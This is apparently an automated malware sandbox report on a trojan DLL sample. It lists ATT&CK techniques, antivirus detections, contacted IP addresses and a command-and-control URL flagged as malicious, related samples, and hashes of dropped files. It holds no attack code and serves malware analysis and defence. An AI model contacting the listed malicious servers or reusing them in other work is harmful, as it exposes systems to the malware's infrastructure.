External Remote Services	Scheduled Task	Startup Items	Startup Items	Masquerading2	DCSync	Process Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Virtualization/Sandbox Evasion3	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Process Injection112	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Hidden Files and Directories1	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Rundll321	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
wUKXjICs5f.dll	18%	Virustotal		Browse
wUKXjICs5f.dll	18%	ReversingLabs	Win32.Trojan.Mansabo
wUKXjICs5f.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
4.2.rundll32.exe.10000000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.2.rundll32.exe.26b6bc0.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
5.2.rundll32.exe.10000000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
7.2.rundll32.exe.10000000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.2.rundll32.exe.10000000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
7.2.rundll32.exe.2de6d08.0.unpack	100%	Avira	TR/ATRAPS.Gen	Download File
6.2.rundll32.exe.10000000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
https://51.178.61.60/eUOoKZnMdMEYuzcUGINMwfTbKAcjacjvJSVpjTRzbVm	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe
http://help.disneyplus.com.	0%	URL Reputation	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://51.178.61.60/eUOoKZnMdMEYuzcUGINMwfTbKAcjacjvJSVpjTRzbVm	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 0000000E.00000003.308102108.000001CD38C61000.00000004.00000001.sdmp	false		high
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 0000001F.00000003.564391800.0000021E8BF91000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564457255.0000021E8BFB2000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564478110.0000021E8BF6F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564036829.0000021E8BF80000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564023868.0000021E8BF6F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 0000000E.00000003.308182467.000001CD38C40000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308216969.000001CD38C45000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 0000000E.00000002.308686000.000001CD38C3D000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 0000000E.00000003.308102108.000001CD38C61000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 0000000E.00000002.308686000.000001CD38C3D000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 0000000E.00000003.308147027.000001CD38C49000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308707257.000001CD38C4B000.00000004.00000001.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 0000000E.00000003.308122559.000001CD38C4E000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308729135.000001CD38C56000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308250376.000001CD38C50000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 0000000E.00000002.308686000.000001CD38C3D000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 0000000E.00000003.286363428.000001CD38C30000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 0000000E.00000003.286363428.000001CD38C30000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 0000000E.00000003.308102108.000001CD38C61000.00000004.00000001.sdmp	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.602509978.000001E83FE15000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 0000000E.00000003.308182467.000001CD38C40000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308147027.000001CD38C49000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308707257.000001CD38C4B000.00000004.00000001.sdmp	false		high
https://www.tiktok.com/legal/report/feedback	svchost.exe, 0000001F.00000003.566381591.0000021E8BF84000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.566395962.0000021E8BF95000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.566408108.0000021E8BFCD000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.566451706.0000021E8C402000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 0000000E.00000002.308634880.000001CD38C13000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308686000.000001CD38C3D000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 0000000E.00000003.308182467.000001CD38C40000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308694172.000001CD38C42000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308223700.000001CD38C41000.00000004.00000001.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 0000000C.00000002.770897010.000002313B644000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000E.00000003.308122559.000001CD38C4E000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308729135.000001CD38C56000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308250376.000001CD38C50000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 0000000E.00000003.308102108.000001CD38C61000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000E.00000003.286363428.000001CD38C30000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 0000000E.00000003.308102108.000001CD38C61000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 0000000E.00000003.308102108.000001CD38C61000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 0000000E.00000003.308147027.000001CD38C49000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 0000000E.00000003.286363428.000001CD38C30000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 0000000E.00000003.308147027.000001CD38C49000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308707257.000001CD38C4B000.00000004.00000001.sdmp	false		high
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 0000001F.00000003.564391800.0000021E8BF91000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564457255.0000021E8BFB2000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564478110.0000021E8BF6F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564036829.0000021E8BF80000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564023868.0000021E8BF6F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000E.00000003.308147027.000001CD38C49000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308707257.000001CD38C4B000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 0000000E.00000003.308182467.000001CD38C40000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308694172.000001CD38C42000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308223700.000001CD38C41000.00000004.00000001.sdmp	false		high
https://dynamic.t	svchost.exe, 0000000E.00000002.308761304.000001CD38C65000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308223700.000001CD38C41000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 0000000E.00000003.308102108.000001CD38C61000.00000004.00000001.sdmp	false		high
https://disneyplus.com/legal.	svchost.exe, 0000001F.00000003.564391800.0000021E8BF91000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564457255.0000021E8BFB2000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564478110.0000021E8BF6F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564036829.0000021E8BF80000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564023868.0000021E8BF6F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 0000000E.00000002.308678800.000001CD38C39000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.286363428.000001CD38C30000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 0000000E.00000003.308147027.000001CD38C49000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308707257.000001CD38C4B000.00000004.00000001.sdmp	false		high
https://activity.windows.com	svchost.exe, 0000000C.00000002.770897010.000002313B644000.00000004.00000001.sdmp	false		high
http://www.bingmapsportal.com	svchost.exe, 0000000E.00000002.308634880.000001CD38C13000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 0000000E.00000003.308102108.000001CD38C61000.00000004.00000001.sdmp	false		high
http://help.disneyplus.com.	svchost.exe, 0000001F.00000003.564391800.0000021E8BF91000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564457255.0000021E8BFB2000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564478110.0000021E8BF6F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564036829.0000021E8BF80000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564023868.0000021E8BF6F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000E.00000003.286363428.000001CD38C30000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308686000.000001CD38C3D000.00000004.00000001.sdmp	false		high
https://%s.dnet.xboxlive.com	svchost.exe, 0000000C.00000002.770897010.000002313B644000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000E.00000003.308147027.000001CD38C49000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308707257.000001CD38C4B000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 0000000E.00000003.308147027.000001CD38C49000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
207.148.81.119	unknown	United States	20473	AS-CHOOPAUS	true
196.44.98.190	unknown	Ghana	327814	EcobandGH	true
78.46.73.125	unknown	Germany	24940	HETZNER-ASDE	true
37.59.209.141	unknown	France	16276	OVHFR	true
85.214.67.203	unknown	Germany	6724	STRATOSTRATOAGDE	true
191.252.103.16	unknown	Brazil	27715	LocawebServicosdeInternetSABR	true
45.79.33.48	unknown	United States	63949	LINODE-APLinodeLLCUS	true
54.37.228.122	unknown	France	16276	OVHFR	true
185.148.169.10	unknown	Germany	44780	EVERSCALE-ASDE	true
142.4.219.173	unknown	Canada	16276	OVHFR	true
54.38.242.185	unknown	France	16276	OVHFR	true
195.154.146.35	unknown	France	12876	OnlineSASFR	true
195.77.239.39	unknown	Spain	60493	FICOSA-ASES	true
78.47.204.80	unknown	Germany	24940	HETZNER-ASDE	true
168.197.250.14	unknown	Argentina	264776	OmarAnselmoRipollTDCNETAR	true
51.178.61.60	unknown	France	16276	OVHFR	true
177.72.80.14	unknown	Brazil	262543	NewLifeFibraBR	true
66.42.57.149	unknown	United States	20473	AS-CHOOPAUS	true
37.44.244.177	unknown	Germany	47583	AS-HOSTINGERLT	true
51.210.242.234	unknown	France	16276	OVHFR	true

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	528002
Start date:	24.11.2021
Start time:	16:51:03
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	wUKXjICs5f (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winDLL@29/9@0/21
EGA Information:	Failed
HDC Information:	Successful, ratio: 76.4% (good quality ratio 67.4%) Quality average: 70.6% Quality standard deviation: 32.6%
HCA Information:	Successful, ratio: 88% Number of executed functions: 65 Number of non-executed functions: 46
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32
Warnings:	Show All Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 204.79.197.200, 13.107.21.200, 23.35.236.56, 209.197.3.8, 173.222.108.210, 173.222.108.226, 40.91.112.76, 20.54.110.249 Excluded domains from analysis (whitelisted): displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, wus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, arc.msn.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, www-bing-com.dual-a-0001.a-msedge.net, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, www.bing.com, client.wns.windows.com, fs.microsoft.com, dual-a-0001.a-msedge.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:52:08	API Interceptor	10x Sleep call for process: svchost.exe modified
16:53:23	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
207.148.81.119	cRC6TZG6Wx.dll	Get hash	malicious	Browse
	qrb6jVwzoe.dll	Get hash	malicious	Browse
	1711.doc	Get hash	malicious	Browse
	GQwxmGZFvtg.dll	Get hash	malicious	Browse
	wNjqkrm8pH.dll	Get hash	malicious	Browse
	5YO8hZg21O.dll	Get hash	malicious	Browse
	dUGnMYeP1C.dll	Get hash	malicious	Browse
	yFAXc9z51V.dll	Get hash	malicious	Browse
	9fC0as7YLE.dll	Get hash	malicious	Browse
	FIyE6huzxV.dll	Get hash	malicious	Browse
	V0gZWRXv8d.dll	Get hash	malicious	Browse
	t5EuQW2GUF.dll	Get hash	malicious	Browse
	uh1WyesPlh.dll	Get hash	malicious	Browse
	8rryPzJR1p.dll	Get hash	malicious	Browse
	a65FgjVus4.dll	Get hash	malicious	Browse
	bWjYh6H8wk.dll	Get hash	malicious	Browse
	ZJOHKItBoJ.dll	Get hash	malicious	Browse
	eyPPiz3W6u.dll	Get hash	malicious	Browse
	HjYSwxqyUn.dll	Get hash	malicious	Browse
	f47YPsvRI3.dll	Get hash	malicious	Browse
196.44.98.190	cRC6TZG6Wx.dll	Get hash	malicious	Browse
	qrb6jVwzoe.dll	Get hash	malicious	Browse
	1711.doc	Get hash	malicious	Browse
	GQwxmGZFvtg.dll	Get hash	malicious	Browse
	wNjqkrm8pH.dll	Get hash	malicious	Browse
	5YO8hZg21O.dll	Get hash	malicious	Browse
	dUGnMYeP1C.dll	Get hash	malicious	Browse
	yFAXc9z51V.dll	Get hash	malicious	Browse
	9fC0as7YLE.dll	Get hash	malicious	Browse
	FIyE6huzxV.dll	Get hash	malicious	Browse
	V0gZWRXv8d.dll	Get hash	malicious	Browse
	t5EuQW2GUF.dll	Get hash	malicious	Browse
	uh1WyesPlh.dll	Get hash	malicious	Browse
	8rryPzJR1p.dll	Get hash	malicious	Browse
	a65FgjVus4.dll	Get hash	malicious	Browse
	bWjYh6H8wk.dll	Get hash	malicious	Browse
	ZJOHKItBoJ.dll	Get hash	malicious	Browse
	eyPPiz3W6u.dll	Get hash	malicious	Browse
	HjYSwxqyUn.dll	Get hash	malicious	Browse
	f47YPsvRI3.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AS-CHOOPAUS	cRC6TZG6Wx.dll	Get hash	malicious	Browse	66.42.57.149
	qrb6jVwzoe.dll	Get hash	malicious	Browse	66.42.57.149
	AWB_NO_9284730932.exe	Get hash	malicious	Browse	45.32.28.45
	arm6-20211124-0649	Get hash	malicious	Browse	44.168.42.223
	6D2FF3CC83EA214E33E4105CCB1051CD85B82E052F615.exe	Get hash	malicious	Browse	149.28.253.196
	FhP4JYCU7J.exe	Get hash	malicious	Browse	149.28.253.196
	FhP4JYCU7J.exe	Get hash	malicious	Browse	149.28.253.196
	bomba.arm	Get hash	malicious	Browse	44.168.169.161
	44E401AAF0B52528AA033257C1A1B8A09A2B10EDF26ED.exe	Get hash	malicious	Browse	149.28.253.196
	77012C024869BA2639B54B959FAB1E10EBAAF8EBB9BFC.exe	Get hash	malicious	Browse	149.28.253.196
	WQRrng5aiw.exe	Get hash	malicious	Browse	149.28.253.196
	WQRrng5aiw.exe	Get hash	malicious	Browse	149.28.253.196
	5giHvDqMaL	Get hash	malicious	Browse	45.63.53.236
	22BA4262D93379DE524029DAFC7528E431E56A22CB293.exe	Get hash	malicious	Browse	149.28.253.196
	6PZ6S2YGPB	Get hash	malicious	Browse	45.63.53.204
	kq5Of3SOMZ.exe	Get hash	malicious	Browse	149.28.253.196
	QABYgAqa5Z.exe	Get hash	malicious	Browse	149.28.253.196
	ZrAv540yA4.exe	Get hash	malicious	Browse	216.128.137.31
	6Xtf11WnP2.exe	Get hash	malicious	Browse	216.128.137.31
	M9WBCy4NNi.exe	Get hash	malicious	Browse	216.128.137.31
EcobandGH	cRC6TZG6Wx.dll	Get hash	malicious	Browse	196.44.98.190
	qrb6jVwzoe.dll	Get hash	malicious	Browse	196.44.98.190
	1711.doc	Get hash	malicious	Browse	196.44.98.190
	n6J7QJs4bk.dll	Get hash	malicious	Browse	196.44.109.73
	GQwxmGZFvtg.dll	Get hash	malicious	Browse	196.44.98.190
	wNjqkrm8pH.dll	Get hash	malicious	Browse	196.44.98.190
	5YO8hZg21O.dll	Get hash	malicious	Browse	196.44.98.190
	dUGnMYeP1C.dll	Get hash	malicious	Browse	196.44.98.190
	yFAXc9z51V.dll	Get hash	malicious	Browse	196.44.98.190
	9fC0as7YLE.dll	Get hash	malicious	Browse	196.44.98.190
	FIyE6huzxV.dll	Get hash	malicious	Browse	196.44.98.190
	V0gZWRXv8d.dll	Get hash	malicious	Browse	196.44.98.190
	t5EuQW2GUF.dll	Get hash	malicious	Browse	196.44.98.190
	uh1WyesPlh.dll	Get hash	malicious	Browse	196.44.98.190
	8rryPzJR1p.dll	Get hash	malicious	Browse	196.44.98.190
	a65FgjVus4.dll	Get hash	malicious	Browse	196.44.98.190
	bWjYh6H8wk.dll	Get hash	malicious	Browse	196.44.98.190
	ZJOHKItBoJ.dll	Get hash	malicious	Browse	196.44.98.190
	eyPPiz3W6u.dll	Get hash	malicious	Browse	196.44.98.190
	HjYSwxqyUn.dll	Get hash	malicious	Browse	196.44.98.190

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
51c64c77e60f3980eea90869b68c58a8	cRC6TZG6Wx.dll	Get hash	malicious	Browse	51.178.61.60
	qrb6jVwzoe.dll	Get hash	malicious	Browse	51.178.61.60
	ReadMe[2021.11.22_12-15].vbs	Get hash	malicious	Browse	51.178.61.60
	cTplVWrqRR.dll	Get hash	malicious	Browse	51.178.61.60
	NErdgsNsKR.vbs	Get hash	malicious	Browse	51.178.61.60
	F.A.Q[2021.11.22_12-15].vbs	Get hash	malicious	Browse	51.178.61.60
	Q1KL4ickDw.dll	Get hash	malicious	Browse	51.178.61.60
	yZGYbaJ.dll	Get hash	malicious	Browse	51.178.61.60
	1711.doc	Get hash	malicious	Browse	51.178.61.60
	cs.exe	Get hash	malicious	Browse	51.178.61.60
	0MGLPJiSa5.dll	Get hash	malicious	Browse	51.178.61.60
	0MGLPJiSa5.dll	Get hash	malicious	Browse	51.178.61.60
	bbyGAgHI9O.dll	Get hash	malicious	Browse	51.178.61.60
	Vs6ZDk0LMC.dll	Get hash	malicious	Browse	51.178.61.60
	sTh52oTZDh.dll	Get hash	malicious	Browse	51.178.61.60
	loveTubeLike.dll	Get hash	malicious	Browse	51.178.61.60
	2SR3psYDHQ.js	Get hash	malicious	Browse	51.178.61.60
	GQwxmGZFvtg.dll	Get hash	malicious	Browse	51.178.61.60
	Fuutbqvhmc.dll	Get hash	malicious	Browse	51.178.61.60
	wNjqkrm8pH.dll	Get hash	malicious	Browse	51.178.61.60

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.3593198815979092
Encrypted:	false
SSDEEP:	12:SnaaD0JcaaD0JwQQU2naaD0JcaaD0JwQQU:4tgJctgJw/tgJctgJw
MD5:	BF1DC7D5D8DAD7478F426DF8B3F8BAA6
SHA1:	C6B0BDE788F553F865D65F773D8F6A3546887E42
SHA-256:	BE47C764C38CA7A90A345BE183F5261E89B98743B5E35989E9A8BE0DA498C0F2
SHA-512:	00F2412AA04E09EA19A8315D80BE66D2727C713FC0F5AE6A9334BABA539817F568A98CA3A45B2673282BDD325B8B0E2840A393A4DCFADCB16473F5EAF2AF3180
Malicious:	false
Preview:	.......................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.24937796440937635
Encrypted:	false
SSDEEP:	1536:BJiRdfVzkZm3lyf49uyc0ga04PdHS9LrM/oVMUdSRU4Q:BJiRdwfu2SRU4Q
MD5:	514F49BFC1BEED7B8BB20AA8E6FC3121
SHA1:	62628AEB4858998764B181B9942A8A8F9735D1CC
SHA-256:	7769801236A34EC3A97E5E939C78FAE6088EE7B41015076F3CCC8FAD3DBE7481
SHA-512:	95C21F3C801D7762718B41E0660DD91723F5908ADBC77B79AAA8AB1CEA44055191E2A7F6D403E948003AB39791108456F33F56347E9341CDB6223D3735CF2C76
Malicious:	false
Preview:	V.d.........@..@.3...w...........................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.........................................d#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x8e80a486, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	0.2505117706012357
Encrypted:	false
SSDEEP:	384:n1l1q+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:nD3SB2nSB2RSjlK/+mLesOj1J2
MD5:	93B8E7D5D366745796D7D495C7E7227A
SHA1:	96685F47ADD43CD4B9FB3BBC428A919F628F1181
SHA-256:	9EEA65C65B106FB2025EE8E025CE446C037D494DF4F86E3A0C7A300A1810D4F8
SHA-512:	A960E823C921C3910112D2AE44E26B202B0E4FA3DEB58A33D6353892E3AB2E183E3C7353B51404E66B6B74CD3725404EBE2E094949B3C28FDF227D1CC8D87903
Malicious:	false
Preview:	....... ................e.f.3...w........................)......7...y...4...y..h.(......7...y....)..............3...w...........................................................................................................B...........@...................................................................................................... .....................................................................................................................................................................................................................................................!..7...y..................u.0..7...y..........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0723881330117679
Encrypted:	false
SSDEEP:	3:ZlR7vtDUGr0W8ub1ltmmf8mH782lrW/b1lill3Vkttlmlnl:bRrZfg7ujQKHrWLG3
MD5:	854B13FDC98C942E468EF33069163E22
SHA1:	EFA3A615628FB8B9F2591F35660C24B9D7515DD9
SHA-256:	8D0F19D06B674E8004D6B35096C50F9EBF814464BE8116ED0BEEDAC0E8E81704
SHA-512:	720B74D6A261C8D3768C53AADC8382F4B6DB6BA3C7B6C828F5E4E0349E99D2B8FDAEA7738D2CBECE22B70ABD5E00DC0BCD9B51F76D0E8AF40B7EEE88540BF3AA
Malicious:	false
Preview:	........................................3...w...4...y#..7...y...........7...y...7...y.....b.7...y..................u.0..7...y..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Microsoft Cabinet archive data, 61414 bytes, 1 file
Category:	dropped
Size (bytes):	61414
Entropy (8bit):	7.995245868798237
Encrypted:	true
